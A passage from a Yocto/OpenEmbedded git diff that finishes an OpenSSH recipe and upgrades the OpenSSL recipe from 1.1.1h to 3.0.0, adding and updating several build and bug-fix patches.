+ install -D -m 0755 ${WORKDIR}/sshd_check_keys ${D}${libexecdir}/${BPN}/sshd_check_keys
+}
+
+do_install_ptest () {
+ sed -i -e "s|^SFTPSERVER=.*|SFTPSERVER=${libexecdir}/sftp-server|" regress/test-exec.sh
+ cp -r regress ${D}${PTEST_PATH}
+}
+
+ALLOW_EMPTY:${PN} = "1"
+
+PACKAGES =+ "${PN}-keygen ${PN}-scp ${PN}-ssh ${PN}-sshd ${PN}-sftp ${PN}-misc ${PN}-sftp-server"
+FILES:${PN}-scp = "${bindir}/scp.${BPN}"
+FILES:${PN}-ssh = "${bindir}/ssh.${BPN} ${sysconfdir}/ssh/ssh_config"
+FILES:${PN}-sshd = "${sbindir}/sshd ${sysconfdir}/init.d/sshd ${systemd_system_unitdir}"
+FILES:${PN}-sshd += "${sysconfdir}/ssh/moduli ${sysconfdir}/ssh/sshd_config ${sysconfdir}/ssh/sshd_config_readonly ${sysconfdir}/default/volatiles/99_sshd ${sysconfdir}/pam.d/sshd"
+FILES:${PN}-sshd += "${libexecdir}/${BPN}/sshd_check_keys"
+FILES:${PN}-sftp = "${bindir}/sftp"
+FILES:${PN}-sftp-server = "${libexecdir}/sftp-server"
+FILES:${PN}-misc = "${bindir}/ssh* ${libexecdir}/ssh*"
+FILES:${PN}-keygen = "${bindir}/ssh-keygen"
+
+RDEPENDS:${PN} += "${PN}-scp ${PN}-ssh ${PN}-sshd ${PN}-keygen"
+RDEPENDS:${PN}-sshd += "${PN}-keygen ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'pam-plugin-keyinit pam-plugin-loginuid', '', d)}"
+RRECOMMENDS:${PN}-sshd:append:class-target = "\
+ ${@bb.utils.filter('PACKAGECONFIG', 'rng-tools', d)} \
+"
+
+# gdb would make attach-ptrace test pass rather than skip but not worth the build dependencies
+RDEPENDS:${PN}-ptest += "${PN}-sftp ${PN}-misc ${PN}-sftp-server make sed sudo coreutils"
+
+RPROVIDES:${PN}-ssh = "ssh"
+RPROVIDES:${PN}-sshd = "sshd"
+
+RCONFLICTS:${PN} = "dropbear"
+RCONFLICTS:${PN}-sshd = "dropbear"
+
+CONFFILES:${PN}-sshd = "${sysconfdir}/ssh/sshd_config"
+CONFFILES:${PN}-ssh = "${sysconfdir}/ssh/ssh_config"
+
+ALTERNATIVE_PRIORITY = "90"
+ALTERNATIVE:${PN}-scp = "scp"
+ALTERNATIVE:${PN}-ssh = "ssh"
+
+BBCLASSEXTEND += "nativesdk"
diff --git a/meta/recipes-connectivity/openssl/openssl/0001-Configure-do-not-tweak-mips-cflags.patch b/meta/recipes-connectivity/openssl/openssl/0001-Configure-do-not-tweak-mips-cflags.patch
new file mode 100644
index 0000000000..5effa6c6f6
--- /dev/null
+++ b/meta/recipes-connectivity/openssl/openssl/0001-Configure-do-not-tweak-mips-cflags.patch
@@ -0,0 +1,36 @@
+From 326909baf81a638d51fa8be1d8227518784f5cc4 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Tue, 14 Sep 2021 12:18:25 +0200
+Subject: [PATCH] Configure: do not tweak mips cflags
+
+This conflicts with mips machine definitons from yocto,
+e.g.
+| Error: -mips3 conflicts with the other architecture options, which imply -mips64r2
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ Configure | 10 ----------
+ 1 file changed, 10 deletions(-)
+
+diff --git a/Configure b/Configure
+index 821e680..0387a74 100755
+--- a/Configure
++++ b/Configure
+@@ -1422,16 +1422,6 @@ if ($target =~ /^mingw/ && `$config{CC} --target-help 2>&1` =~ m/-mno-cygwin/m)
+ push @{$config{shared_ldflag}}, "-mno-cygwin";
+ }
+
+-if ($target =~ /linux.*-mips/ && !$disabled{asm}
+- && !grep { $_ !~ /-m(ips|arch=)/ } (@{$config{CFLAGS}})) {
+- # minimally required architecture flags for assembly modules
+- my $value;
+- $value = '-mips2' if ($target =~ /mips32/);
+- $value = '-mips3' if ($target =~ /mips64/);
+- unshift @{$config{cflags}}, $value;
+- unshift @{$config{cxxflags}}, $value if $config{CXX};
+-}
+-
+ # If threads aren't disabled, check how possible they are
+ unless ($disabled{threads}) {
+ if ($auto_threads) {
diff --git a/meta/recipes-connectivity/openssl/openssl/0001-Fix-EVP_PKEY_CTX_get_rsa_pss_saltlen-no.patch b/meta/recipes-connectivity/openssl/openssl/0001-Fix-EVP_PKEY_CTX_get_rsa_pss_saltlen-no.patch
new file mode 100644
index 0000000000..b85a3ad7d2
--- /dev/null
+++ b/meta/recipes-connectivity/openssl/openssl/0001-Fix-EVP_PKEY_CTX_get_rsa_pss_saltlen-no.patch
@@ -0,0 +1,108 @@
+Fix EVP_PKEY_CTX_get_rsa_pss_saltlen, and also disable the tests in non-default
+context (required when backporting, not needed with 3.0.1).
+
+Upstream-Status: Backport
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+From 6b5c02f6173e5fd46a3685e676fcb5eee9ac43ea Mon Sep 17 00:00:00 2001
+From: Tom Cosgrove <tom.cosgrove@arm.com>
+Date: Thu, 25 Nov 2021 15:49:26 +0000
+Subject: [PATCH] Fix EVP_PKEY_CTX_get_rsa_pss_saltlen() not returning a value
+
+When an integer value was specified, it was not being passed back via
+the orig_p2 weirdness.
+
+Regression test included.
+
+Reviewed-by: Tomas Mraz <tomas@openssl.org>
+Reviewed-by: Paul Dale <pauli@openssl.org>
+(Merged from https://github.com/openssl/openssl/pull/17136)
+---
+ crypto/evp/ctrl_params_translate.c | 12 +++++++-----
+ test/evp_extra_test.c | 30 ++++++++++++++++++++++++++++++
+ 2 files changed, 37 insertions(+), 5 deletions(-)
+
+diff --git a/crypto/evp/ctrl_params_translate.c b/crypto/evp/ctrl_params_translate.c
+index 88945e13e6..6638209a8d 100644
+--- a/crypto/evp/ctrl_params_translate.c
++++ b/crypto/evp/ctrl_params_translate.c
+@@ -1379,21 +1379,23 @@ static int fix_rsa_pss_saltlen(enum state state,
+ if ((ctx->action_type == SET && state == PRE_PARAMS_TO_CTRL)
+ || (ctx->action_type == GET && state == POST_CTRL_TO_PARAMS)) {
+ size_t i;
++ int val;
+
+ for (i = 0; i < OSSL_NELEM(str_value_map); i++) {
+ if (strcmp(ctx->p2, str_value_map[i].ptr) == 0)
+ break;
+ }
+- if (i == OSSL_NELEM(str_value_map)) {
+- ctx->p1 = atoi(ctx->p2);
+- } else if (state == POST_CTRL_TO_PARAMS) {
++
++ val = i == OSSL_NELEM(str_value_map) ? atoi(ctx->p2)
++ : (int)str_value_map[i].id;
++ if (state == POST_CTRL_TO_PARAMS) {
+ /*
+ * EVP_PKEY_CTRL_GET_RSA_PSS_SALTLEN weirdness explained further
+ * up
+ */
+- *(int *)ctx->orig_p2 = str_value_map[i].id;
++ *(int *)ctx->orig_p2 = val;
+ } else {
+- ctx->p1 = (int)str_value_map[i].id;
++ ctx->p1 = val;
+ }
+ ctx->p2 = NULL;
+ }
+diff --git a/test/evp_extra_test.c b/test/evp_extra_test.c
+index 83f8902d24..9ad37a2bce 100644
+--- a/test/evp_extra_test.c
++++ b/test/evp_extra_test.c
+@@ -3049,6 +3049,35 @@ static int test_EVP_rsa_pss_with_keygen_bits(void)
+ return ret;
+ }
+
++static int test_EVP_rsa_pss_set_saltlen(void)
++{
++ int ret = 0;
++ EVP_PKEY *pkey = NULL;
++ EVP_PKEY_CTX *pkey_ctx = NULL;
++ EVP_MD *sha256 = NULL;
++ EVP_MD_CTX *sha256_ctx = NULL;
++ int saltlen = 9999; /* buggy EVP_PKEY_CTX_get_rsa_pss_saltlen() didn't update this */
++ const int test_value = 32;
++
++ if (nullprov != NULL)
++ return TEST_skip("Test does not support a non-default library context");
++
++ ret = TEST_ptr(pkey = load_example_rsa_key())
++ && TEST_ptr(sha256 = EVP_MD_fetch(testctx, "sha256", NULL))
++ && TEST_ptr(sha256_ctx = EVP_MD_CTX_new())
++ && TEST_true(EVP_DigestSignInit(sha256_ctx, &pkey_ctx, sha256, NULL, pkey))
++ && TEST_true(EVP_PKEY_CTX_set_rsa_padding(pkey_ctx, RSA_PKCS1_PSS_PADDING))
++ && TEST_true(EVP_PKEY_CTX_set_rsa_pss_saltlen(pkey_ctx, test_value))
++ && TEST_true(EVP_PKEY_CTX_get_rsa_pss_saltlen(pkey_ctx, &saltlen))
++ && TEST_int_eq(saltlen, test_value);
++
++ EVP_MD_CTX_free(sha256_ctx);
++ EVP_PKEY_free(pkey);
++ EVP_MD_free(sha256);
++
++ return ret;
++}
++
+ static int success = 1;
+ static void md_names(const char *name, void *vctx)
+ {
+@@ -3966,6 +3995,7 @@ int setup_tests(void)
+ ADD_ALL_TESTS(test_evp_iv_des, 6);
+ #endif
+ ADD_TEST(test_EVP_rsa_pss_with_keygen_bits);
++ ADD_TEST(test_EVP_rsa_pss_set_saltlen);
+ #ifndef OPENSSL_NO_EC
+ ADD_ALL_TESTS(test_ecpub, OSSL_NELEM(ecpub_nids));
+ #endif
+--
+2.25.1
+
diff --git a/meta/recipes-connectivity/openssl/openssl/0001-buildinfo-strip-sysroot-and-debug-prefix-map-from-co.patch b/meta/recipes-connectivity/openssl/openssl/0001-buildinfo-strip-sysroot-and-debug-prefix-map-from-co.patch
index 949c788344..60890c666d 100644
--- a/meta/recipes-connectivity/openssl/openssl/0001-buildinfo-strip-sysroot-and-debug-prefix-map-from-co.patch
+++ b/meta/recipes-connectivity/openssl/openssl/0001-buildinfo-strip-sysroot-and-debug-prefix-map-from-co.patch
@@ -1,4 +1,4 @@
-From 3e1d00481093e10775eaf69d619c45b32a4aa7dc Mon Sep 17 00:00:00 2001
+From 5985253f2c9025d7c127443a3a9938946f80c2a1 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Martin=20Hundeb=C3=B8ll?= <martin@geanix.com>
Date: Tue, 6 Nov 2018 14:50:47 +0100
Subject: [PATCH] buildinfo: strip sysroot and debug-prefix-map from compiler
@@ -21,20 +21,24 @@ https://patchwork.openembedded.org/patch/147229/
Upstream-Status: Inappropriate [OE specific]
Signed-off-by: Martin Hundebøll <martin@geanix.com>
-
Update to fix buildpaths qa issue for '-fmacro-prefix-map'.
Signed-off-by: Kai Kang <kai.kang@windriver.com>
+
+Update to fix buildpaths qa issue for '-ffile-prefix-map'.
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
---
- Configurations/unix-Makefile.tmpl | 10 +++++++++-
+ Configurations/unix-Makefile.tmpl | 12 +++++++++++-
crypto/build.info | 2 +-
- 2 files changed, 10 insertions(+), 2 deletions(-)
+ 2 files changed, 12 insertions(+), 2 deletions(-)
diff --git a/Configurations/unix-Makefile.tmpl b/Configurations/unix-Makefile.tmpl
-index 16af4d2087..54c162784c 100644
+index f88a70f..528cdef 100644
--- a/Configurations/unix-Makefile.tmpl
+++ b/Configurations/unix-Makefile.tmpl
-@@ -317,13 +317,22 @@ BIN_LDFLAGS={- join(' ', $target{bin_lflags} || (),
+@@ -471,13 +471,23 @@ BIN_LDFLAGS={- join(' ', $target{bin_lflags} || (),
'$(CNF_LDFLAGS)', '$(LDFLAGS)') -}
BIN_EX_LIBS=$(CNF_EX_LIBS) $(EX_LIBS)
@@ -49,6 +53,7 @@ index 16af4d2087..54c162784c 100644
+CFLAGS_Q={- for (@{$config{CFLAGS}}) {
+ s|-fdebug-prefix-map=[^ ]+|-fdebug-prefix-map=|g;
+ s|-fmacro-prefix-map=[^ ]+|-fmacro-prefix-map=|g;
++ s|-ffile-prefix-map=[^ ]+|-ffile-prefix-map=|g;
+ }
+ join(' ', @{$config{CFLAGS}}) -}
+
@@ -59,18 +64,15 @@ index 16af4d2087..54c162784c 100644
# For x86 assembler: Set PROCESSOR to 386 if you want to support
diff --git a/crypto/build.info b/crypto/build.info
-index b515b7318e..8c9cee2a09 100644
+index efca6cc..eda433e 100644
--- a/crypto/build.info
+++ b/crypto/build.info
-@@ -10,7 +10,7 @@ EXTRA= ../ms/uplink-x86.pl ../ms/uplink.c ../ms/applink.c \
- ppccpuid.pl pariscid.pl alphacpuid.pl arm64cpuid.pl armv4cpuid.pl
+@@ -109,7 +109,7 @@ DEFINE[../libcrypto]=$UPLINKDEF
+ DEPEND[info.o]=buildinf.h
DEPEND[cversion.o]=buildinf.h
-GENERATE[buildinf.h]=../util/mkbuildinf.pl "$(CC) $(LIB_CFLAGS) $(CPPFLAGS_Q)" "$(PLATFORM)"
+GENERATE[buildinf.h]=../util/mkbuildinf.pl "$(CC_Q) $(CFLAGS_Q) $(CPPFLAGS_Q)" "$(PLATFORM)"
- DEPEND[buildinf.h]=../configdata.pm
- GENERATE[uplink-x86.s]=../ms/uplink-x86.pl $(PERLASM_SCHEME)
---
-2.19.1
-
+ GENERATE[uplink-x86.s]=../ms/uplink-x86.pl
+ GENERATE[uplink-x86_64.s]=../ms/uplink-x86_64.pl
diff --git a/meta/recipes-connectivity/openssl/openssl/0001-skip-test_symbol_presence.patch b/meta/recipes-connectivity/openssl/openssl/0001-skip-test_symbol_presence.patch
deleted file mode 100644
index d8d9651b64..0000000000
--- a/meta/recipes-connectivity/openssl/openssl/0001-skip-test_symbol_presence.patch
+++ /dev/null
@@ -1,46 +0,0 @@
-From a9401b2289656c5a36dd1b0ecebf0d23e291ce70 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Tue, 2 Oct 2018 23:58:24 +0800
-Subject: [PATCH] skip test_symbol_presence
-
-We cannot skip `01-test_symbol_presence.t' by configuring option `no-shared'
-as INSTALL told us the shared libraries will not be built.
-
-[INSTALL snip]
- Notes on shared libraries
- -------------------------
-
- For most systems the OpenSSL Configure script knows what is needed to
- build shared libraries for libcrypto and libssl. On these systems
- the shared libraries will be created by default. This can be suppressed and
- only static libraries created by using the "no-shared" option. On systems
- where OpenSSL does not know how to build shared libraries the "no-shared"
- option will be forced and only static libraries will be created.
-[INSTALL snip]
-
-Hence directly modification the case to skip it.
-
-Upstream-Status: Inappropriate [OE Specific]
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- test/recipes/01-test_symbol_presence.t | 3 +--
- 1 file changed, 1 insertion(+), 2 deletions(-)
-
-diff --git a/test/recipes/01-test_symbol_presence.t b/test/recipes/01-test_symbol_presence.t
-index 7f2a2d7..0b93745 100644
---- a/test/recipes/01-test_symbol_presence.t
-+++ b/test/recipes/01-test_symbol_presence.t
-@@ -14,8 +14,7 @@ use OpenSSL::Test::Utils;
-
- setup("test_symbol_presence");
-
--plan skip_all => "Only useful when building shared libraries"
-- if disabled("shared");
-+plan skip_all => "The case needs debug symbols then we just disable it";
-
- my @libnames = ("crypto", "ssl");
- my $testcount = scalar @libnames;
---
-2.7.4
-
diff --git a/meta/recipes-connectivity/openssl/openssl/armv8-32bit.patch b/meta/recipes-connectivity/openssl/openssl/armv8-32bit.patch
new file mode 100644
index 0000000000..1935651be0
--- /dev/null
+++ b/meta/recipes-connectivity/openssl/openssl/armv8-32bit.patch
@@ -0,0 +1,29 @@
+Upstream-Status: Submitted [https://github.com/openssl/openssl/pull/16951]
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+From 5118e96a3dbedde2523e7726fa34af30923a9add Mon Sep 17 00:00:00 2001
+From: Tom Cosgrove <tom.cosgrove@arm.com>
+Date: Tue, 2 Nov 2021 15:26:21 +0000
+Subject: [PATCH] Fix builds on Armv8 systems without AArch64
+
+This fixes "undefined reference to `aes_gcm_dec_128_kernel' in function
+`armv8_aes_gcm_decrypt'" and similar
+
+Fixes #16949
+---
+ include/crypto/aes_platform.h | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/include/crypto/aes_platform.h b/include/crypto/aes_platform.h
+index 015c3bd4ab91..e95ad5aa5de6 100644
+--- a/include/crypto/aes_platform.h
++++ b/include/crypto/aes_platform.h
+@@ -100,7 +100,7 @@ void AES_xts_decrypt(const unsigned char *inp, unsigned char *out, size_t len,
+ # define AES_PMULL_CAPABLE ((OPENSSL_armcap_P & ARMV8_PMULL) && (OPENSSL_armcap_P & ARMV8_AES))
+ # define AES_GCM_ENC_BYTES 512
+ # define AES_GCM_DEC_BYTES 512
+-# if __ARM_MAX_ARCH__>=8
++# if __ARM_MAX_ARCH__>=8 && defined(__aarch64__)
+ # define AES_gcm_encrypt armv8_aes_gcm_encrypt
+ # define AES_gcm_decrypt armv8_aes_gcm_decrypt
+ # define AES_GCM_ASM(gctx) ((gctx)->ctr==aes_v8_ctr32_encrypt_blocks && \
diff --git a/meta/recipes-connectivity/openssl/openssl/reproducible.patch b/meta/recipes-connectivity/openssl/openssl/reproducible.patch
deleted file mode 100644
index a24260c95d..0000000000
--- a/meta/recipes-connectivity/openssl/openssl/reproducible.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-The value for perl_archname can vary depending on the host, e.g.
-x86_64-linux-gnu-thread-multi or x86_64-linux-thread-multi which
-makes the ptest package non-reproducible. Its unused other than
-these references so drop it.
-
-RP 2020/2/6
-
-Upstream-Status: Pending
-Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
-
-Index: openssl-1.1.1d/Configure
-===================================================================
---- openssl-1.1.1d.orig/Configure
-+++ openssl-1.1.1d/Configure
-@@ -286,7 +286,7 @@ if (defined env($local_config_envname))
- # Save away perl command information
- $config{perl_cmd} = $^X;
- $config{perl_version} = $Config{version};
--$config{perl_archname} = $Config{archname};
-+#$config{perl_archname} = $Config{archname};
-
- $config{prefix}="";
- $config{openssldir}="";
-@@ -2517,7 +2517,7 @@ _____
- @{$config{perlargv}}), "\n";
- print "\nPerl information:\n\n";
- print ' ',$config{perl_cmd},"\n";
-- print ' ',$config{perl_version},' for ',$config{perl_archname},"\n";
-+ print ' ',$config{perl_version},"\n";
- }
- if ($dump || $options) {
- my $longest = 0;
diff --git a/meta/recipes-connectivity/openssl/openssl/run-ptest b/meta/recipes-connectivity/openssl/openssl/run-ptest
index 3fb22471f8..8dff79101f 100644
--- a/meta/recipes-connectivity/openssl/openssl/run-ptest
+++ b/meta/recipes-connectivity/openssl/openssl/run-ptest
@@ -9,4 +9,4 @@ export TOP=.
# OPENSSL_ENGINES is relative from the test binaries
export OPENSSL_ENGINES=../engines
-perl ./test/run_tests.pl $* | perl -0pe 's#(.*) \.*.ok#PASS: \1#g; s#(.*) \.*.skipped: (.*)#SKIP: \1 (\2)#g; s#(.*) \.*.\nDubious#FAIL: \1#;'
+perl ./test/run_tests.pl $* | sed -u -r -e '/(.*) \.*.ok/ s/^/PASS: /g' -r -e '/Dubious(.*)/ s/^/FAIL: /g' -e '/(.*) \.*.skipped: (.*)/ s/^/SKIP: /g'
diff --git a/meta/recipes-connectivity/openssl/openssl_1.1.1h.bb b/meta/recipes-connectivity/openssl/openssl_1.1.1h.bb
deleted file mode 100644
index 1827167201..0000000000
--- a/meta/recipes-connectivity/openssl/openssl_1.1.1h.bb
+++ /dev/null
@@ -1,216 +0,0 @@
-SUMMARY = "Secure Socket Layer"
-DESCRIPTION = "Secure Socket Layer (SSL) binary and related cryptographic tools."
-HOMEPAGE = "http://www.openssl.org/"
-BUGTRACKER = "http://www.openssl.org/news/vulnerabilities.html"
-SECTION = "libs/network"
-
-# "openssl" here actually means both OpenSSL and SSLeay licenses apply
-# (see meta/files/common-licenses/OpenSSL to which "openssl" is SPDXLICENSEMAPped)
-LICENSE = "openssl"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=d343e62fc9c833710bbbed25f27364c8"
-
-DEPENDS = "hostperl-runtime-native"
-
-SRC_URI = "http://www.openssl.org/source/openssl-${PV}.tar.gz \
- file://run-ptest \
- file://0001-skip-test_symbol_presence.patch \
- file://0001-buildinfo-strip-sysroot-and-debug-prefix-map-from-co.patch \
- file://afalg.patch \
- file://reproducible.patch \
- "
-
-SRC_URI_append_class-nativesdk = " \
- file://environment.d-openssl.sh \
- "
-
-SRC_URI[sha256sum] = "5c9ca8774bd7b03e5784f26ae9e9e6d749c9da2438545077e6b3d755a06595d9"
-
-inherit lib_package multilib_header multilib_script ptest
-MULTILIB_SCRIPTS = "${PN}-bin:${bindir}/c_rehash"
-
-PACKAGECONFIG ?= ""
-PACKAGECONFIG_class-native = ""
-PACKAGECONFIG_class-nativesdk = ""
-
-PACKAGECONFIG[cryptodev-linux] = "enable-devcryptoeng,disable-devcryptoeng,cryptodev-linux,,cryptodev-module"
-
-B = "${WORKDIR}/build"
-do_configure[cleandirs] = "${B}"
-
-#| ./libcrypto.so: undefined reference to `getcontext'
-#| ./libcrypto.so: undefined reference to `setcontext'
-#| ./libcrypto.so: undefined reference to `makecontext'
-EXTRA_OECONF_append_libc-musl = " no-async"
-EXTRA_OECONF_append_libc-musl_powerpc64 = " no-asm"
-
-# adding devrandom prevents openssl from using getrandom() which is not available on older glibc versions
-# (native versions can be built with newer glibc, but then relocated onto a system with older glibc)
-EXTRA_OECONF_class-native = "--with-rand-seed=os,devrandom"
-EXTRA_OECONF_class-nativesdk = "--with-rand-seed=os,devrandom"
-
-# Relying on hardcoded built-in paths causes openssl-native to not be relocateable from sstate.
-CFLAGS_append_class-native = " -DOPENSSLDIR=/not/builtin -DENGINESDIR=/not/builtin"
-CFLAGS_append_class-nativesdk = " -DOPENSSLDIR=/not/builtin -DENGINESDIR=/not/builtin"
-
-do_configure () {
- os=${HOST_OS}
- case $os in
- linux-gnueabi |\
- linux-gnuspe |\
- linux-musleabi |\
- linux-muslspe |\
- linux-musl )
- os=linux
- ;;
- *)
- ;;
- esac
- target="$os-${HOST_ARCH}"
- case $target in
- linux-arm*)
- target=linux-armv4
- ;;
- linux-aarch64*)
- target=linux-aarch64
- ;;
- linux-i?86 | linux-viac3)
- target=linux-x86
- ;;
- linux-gnux32-x86_64 | linux-muslx32-x86_64 )
- target=linux-x32
- ;;
- linux-gnu64-x86_64)
- target=linux-x86_64
- ;;
- linux-mips | linux-mipsel)
- # specifying TARGET_CC_ARCH prevents openssl from (incorrectly) adding target architecture flags
- target="linux-mips32 ${TARGET_CC_ARCH}"
- ;;
- linux-gnun32-mips*)
- target=linux-mips64
- ;;
- linux-*-mips64 | linux-mips64 | linux-*-mips64el | linux-mips64el)
- target=linux64-mips64
- ;;
- linux-microblaze* | linux-nios2* | linux-sh3 | linux-sh4 | linux-arc*)
- target=linux-generic32
- ;;
- linux-powerpc)
- target=linux-ppc
- ;;
- linux-powerpc64)
- target=linux-ppc64
- ;;
- linux-powerpc64le)
- target=linux-ppc64le
- ;;
- linux-riscv32)
- target=linux-generic32
- ;;
- linux-riscv64)
- target=linux-generic64
- ;;
- linux-sparc | linux-supersparc)
- target=linux-sparcv9
- ;;
- esac
-
- useprefix=${prefix}
- if [ "x$useprefix" = "x" ]; then
- useprefix=/
- fi
- # WARNING: do not set compiler/linker flags (-I/-D etc.) in EXTRA_OECONF, as they will fully replace the
- # environment variables set by bitbake. Adjust the environment variables instead.
- HASHBANGPERL="/usr/bin/env perl" PERL=perl PERL5LIB="${S}/external/perl/Text-Template-1.46/lib/" \
- perl ${S}/Configure ${EXTRA_OECONF} ${PACKAGECONFIG_CONFARGS} --prefix=$useprefix --openssldir=${libdir}/ssl-1.1 --libdir=${libdir} $target
- perl ${B}/configdata.pm --dump
-}
-
-do_install () {
- oe_runmake DESTDIR="${D}" MANDIR="${mandir}" MANSUFFIX=ssl install
-
- oe_multilib_header openssl/opensslconf.h
-
- # Create SSL structure for packages such as ca-certificates which
- # contain hard-coded paths to /etc/ssl. Debian does the same.
- install -d ${D}${sysconfdir}/ssl
- mv ${D}${libdir}/ssl-1.1/certs \
- ${D}${libdir}/ssl-1.1/private \
- ${D}${libdir}/ssl-1.1/openssl.cnf \
- ${D}${sysconfdir}/ssl/
-
- # Although absolute symlinks would be OK for the target, they become
- # invalid if native or nativesdk are relocated from sstate.
- ln -sf ${@oe.path.relative('${libdir}/ssl-1.1', '${sysconfdir}/ssl/certs')} ${D}${libdir}/ssl-1.1/certs
- ln -sf ${@oe.path.relative('${libdir}/ssl-1.1', '${sysconfdir}/ssl/private')} ${D}${libdir}/ssl-1.1/private
- ln -sf ${@oe.path.relative('${libdir}/ssl-1.1', '${sysconfdir}/ssl/openssl.cnf')} ${D}${libdir}/ssl-1.1/openssl.cnf
-}
-
-do_install_append_class-native () {
- create_wrapper ${D}${bindir}/openssl \
- OPENSSL_CONF=${libdir}/ssl-1.1/openssl.cnf \
- SSL_CERT_DIR=${libdir}/ssl-1.1/certs \
- SSL_CERT_FILE=${libdir}/ssl-1.1/cert.pem \
- OPENSSL_ENGINES=${libdir}/engines-1.1
-}
-
-do_install_append_class-nativesdk () {
- mkdir -p ${D}${SDKPATHNATIVE}/environment-setup.d
- install -m 644 ${WORKDIR}/environment.d-openssl.sh ${D}${SDKPATHNATIVE}/environment-setup.d/openssl.sh
- sed 's|/usr/lib/ssl/|/usr/lib/ssl-1.1/|g' -i ${D}${SDKPATHNATIVE}/environment-setup.d/openssl.sh
-}
-
-PTEST_BUILD_HOST_FILES += "configdata.pm"
-PTEST_BUILD_HOST_PATTERN = "perl_version ="
-do_install_ptest () {
- # Prune the build tree
- rm -f ${B}/fuzz/*.* ${B}/test/*.*
-
- cp ${S}/Configure ${B}/configdata.pm ${D}${PTEST_PATH}
- cp -r ${S}/external ${B}/test ${S}/test ${B}/fuzz ${S}/util ${B}/util ${D}${PTEST_PATH}
-
- # For test_shlibload
- ln -s ${libdir}/libcrypto.so.1.1 ${D}${PTEST_PATH}/
- ln -s ${libdir}/libssl.so.1.1 ${D}${PTEST_PATH}/
-
- install -d ${D}${PTEST_PATH}/apps
- ln -s ${bindir}/openssl ${D}${PTEST_PATH}/apps
- install -m644 ${S}/apps/*.pem ${S}/apps/*.srl ${S}/apps/openssl.cnf ${D}${PTEST_PATH}/apps
- install -m755 ${B}/apps/CA.pl ${D}${PTEST_PATH}/apps
-
- install -d ${D}${PTEST_PATH}/engines
- install -m755 ${B}/engines/ossltest.so ${D}${PTEST_PATH}/engines
-}
-
-# Add the openssl.cnf file to the openssl-conf package. Make the libcrypto
-# package RRECOMMENDS on this package. This will enable the configuration
-# file to be installed for both the openssl-bin package and the libcrypto
-# package since the openssl-bin package depends on the libcrypto package.
-
-PACKAGES =+ "libcrypto libssl openssl-conf ${PN}-engines ${PN}-misc"
-
-FILES_libcrypto = "${libdir}/libcrypto${SOLIBS}"
-FILES_libssl = "${libdir}/libssl${SOLIBS}"
-FILES_openssl-conf = "${sysconfdir}/ssl/openssl.cnf \
- ${libdir}/ssl-1.1/openssl.cnf* \
- "
-FILES_${PN}-engines = "${libdir}/engines-1.1"
-FILES_${PN}-misc = "${libdir}/ssl-1.1/misc ${bindir}/c_rehash"
-FILES_${PN} =+ "${libdir}/ssl-1.1/*"
-FILES_${PN}_append_class-nativesdk = " ${SDKPATHNATIVE}/environment-setup.d/openssl.sh"
-
-CONFFILES_openssl-conf = "${sysconfdir}/ssl/openssl.cnf"
-
-RRECOMMENDS_libcrypto += "openssl-conf"
-RDEPENDS_${PN}-misc = "perl"
-RDEPENDS_${PN}-ptest += "openssl-bin perl perl-modules bash"
-
-RDEPENDS_${PN}-bin += "openssl-conf"
-
-BBCLASSEXTEND = "native nativesdk"
-
-CVE_PRODUCT = "openssl:openssl"
-
-# Only affects OpenSSL >= 1.1.1 in combination with Apache < 2.4.37
-# Apache in meta-webserver is already recent enough
-CVE_CHECK_WHITELIST += "CVE-2019-0190"
diff --git a/meta/recipes-connectivity/openssl/openssl_3.0.0.bb b/meta/recipes-connectivity/openssl/openssl_3.0.0.bb
new file mode 100644
index 0000000000..da73ed6bc3
--- /dev/null
+++ b/meta/recipes-connectivity/openssl/openssl_3.0.0.bb
@@ -0,0 +1,249 @@
+SUMMARY = "Secure Socket Layer"
+DESCRIPTION = "Secure Socket Layer (SSL) binary and related cryptographic tools."
+HOMEPAGE = "http://www.openssl.org/"
+BUGTRACKER = "http://www.openssl.org/news/vulnerabilities.html"
+SECTION = "libs/network"
+
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=c75985e733726beaba57bc5253e96d04"
+
+SRC_URI = "http://www.openssl.org/source/openssl-${PV}.tar.gz \
+ file://run-ptest \
+ file://0001-buildinfo-strip-sysroot-and-debug-prefix-map-from-co.patch \
+ file://afalg.patch \
+ file://0001-Configure-do-not-tweak-mips-cflags.patch \
+ file://armv8-32bit.patch \
+ file://0001-Fix-EVP_PKEY_CTX_get_rsa_pss_saltlen-no.patch \
+ "
+
+SRC_URI:append:class-nativesdk = " \
+ file://environment.d-openssl.sh \
+ "
+
+SRC_URI[sha256sum] = "59eedfcb46c25214c9bd37ed6078297b4df01d012267fe9e9eee31f61bc70536"
+
+inherit lib_package multilib_header multilib_script ptest perlnative
+MULTILIB_SCRIPTS = "${PN}-bin:${bindir}/c_rehash"
+
+PACKAGECONFIG ?= ""
+PACKAGECONFIG:class-native = ""
+PACKAGECONFIG:class-nativesdk = ""
+
+PACKAGECONFIG[cryptodev-linux] = "enable-devcryptoeng,disable-devcryptoeng,cryptodev-linux,,cryptodev-module"
+PACKAGECONFIG[no-tls1] = "no-tls1"
+PACKAGECONFIG[no-tls1_1] = "no-tls1_1"
+
+B = "${WORKDIR}/build"
+do_configure[cleandirs] = "${B}"
+
+#| ./libcrypto.so: undefined reference to `getcontext'
+#| ./libcrypto.so: undefined reference to `setcontext'
+#| ./libcrypto.so: undefined reference to `makecontext'
+EXTRA_OECONF:append:libc-musl = " no-async"
+EXTRA_OECONF:append:libc-musl:powerpc64 = " no-asm"
+
+# adding devrandom prevents openssl from using getrandom() which is not available on older glibc versions
+# (native versions can be built with newer glibc, but then relocated onto a system with older glibc)
+EXTRA_OECONF:class-native = "--with-rand-seed=os,devrandom"
